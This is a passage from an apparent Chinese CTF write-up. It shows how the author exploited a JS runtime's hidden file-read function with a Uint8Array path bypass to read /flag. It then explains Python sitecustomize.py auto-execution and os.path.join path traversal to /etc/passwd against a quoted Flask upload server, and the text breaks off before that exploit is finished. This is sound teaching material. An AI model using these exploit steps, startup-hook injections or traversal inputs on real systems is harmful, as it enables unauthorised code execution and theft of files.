探测runtime中的可用属性注意由于返回内容包含对象要使用JSON.stringify处理返回内容并且需要Object.getOwnPropertyNames获取所有属性否则函数下划线开头等属性不会显示export default { async fetch(req) { let runtime (0, eval)(this).__runtime; // 列出所有自身属性包括 _internal / _secrets / _debug let allKeys Object.getOwnPropertyNames(runtime); return new Response(JSON.stringify(allKeys)); } }; //回显 //[hash,strlen,platform,perf,encoding,_debug,_secrets,_internal]可以发现runtime中_debug _secrets _internal这三个比较可疑分别列出其中可用函数export default { async fetch(req) { let s __runtime._secrets; // 看 _secrets 下有哪些函数/属性 let keys Object.getOwnPropertyNames(s); return new Response(JSON.stringify(keys)); } };_debug : [enabled,trace,dump,inspect] _secrets : [get,list] _internal : [debug,lib]没啥发现挨个看看在看到_internal.lib.symbols时export default { async fetch(req) { let s __runtime._internal.lib.symbols; let keys Object.getOwnPropertyNames(s); return new Response(JSON.stringify(keys)); } }; //回显 //[_0x72656164,_0x6c697374]0x开头推测是16进制解码一下分别是read和list尝试直接调用read函数读/flagexport default { async fetch(request) { let flag __runtime._internal.lib.symbols._0x72656164(/flag); return new Response(JSON.stringify(flag)); } } //回显 //ERROR: The argument path must be a string, Uint8Array, or URL without null bytes. Received \/app/\\u0000\\u0000\\u0000\\u0000\\u0000\错误信息告诉我们几个重要信息路径被修改了我们传入的是/flag但系统收到的是/app/\u0000\u0000...支持Uint8Array错误说参数可以是string、Uint8Array或URLnull bytes问题路径中出现了\u0000空字符推测系统在处理字符串路径时会在前面加上/app/可能因为某些内存对齐问题后面跟着空字节但如果使用Uint8Array可能绕过这个处理export default { async fetch(request) { let encoder new TextEncoder(); let path encoder.encode(/flag); let flag __runtime._internal.lib.symbols._0x72656164(path); return new Response(JSON.stringify(flag)); } } //回显 //xmctf{......}拿到flagAutoPypy前置知识site模块site模块在Python启动时自动导入负责添加site-packages到sys.path当 Python 启动时site 模块会按这个顺序自动执行导入sitecustomize.py导入usercustomize.py处理.pth文件sitecustomize.py(系统级)这是Python的特殊文件在解释器启动时自动导入# sitecustomize.py import os os.system(cat /flag) # 每次Python启动都执行我们可以插入恶意代码每次运行时都会自动执行usercustomize.py(用户级)与前者类似同样自动执行os.path.join的特性os.path.join在Unix上如果第二部分是绝对路径会返回第二部分os.path.join(/app/uploads, /etc/passwd) # /etc/passwd也可以path os.path.join(/app/uploads, ../../../etc/passwd)题目server.pyimport os import sys import subprocess from flask import Flask, request, render_template, jsonify app Flask(__name__) BASE_DIR os.path.dirname(os.path.abspath(__file__)) UPLOAD_FOLDER os.path.join(BASE_DIR, uploads) if not os.path.exists(UPLOAD_FOLDER): os.makedirs(UPLOAD_FOLDER) app.route(/) def index(): return render_template(index.html) app.route(/upload, methods[POST]) def upload(): if file not in request.files: return No file part, 400 file request.files[file] filename request.form.get(filename) or file.filename save_path os.path.join(UPLOAD_FOLDER, filename) save_dir os.path.dirname(save_path) if not os.path.exists(save_dir): try: os.makedirs(save_dir) except OSError: pass try: file.save(save_path) return f成功上传至: {save_path} except Exception as e: return f上传失败: {str(e)}, 500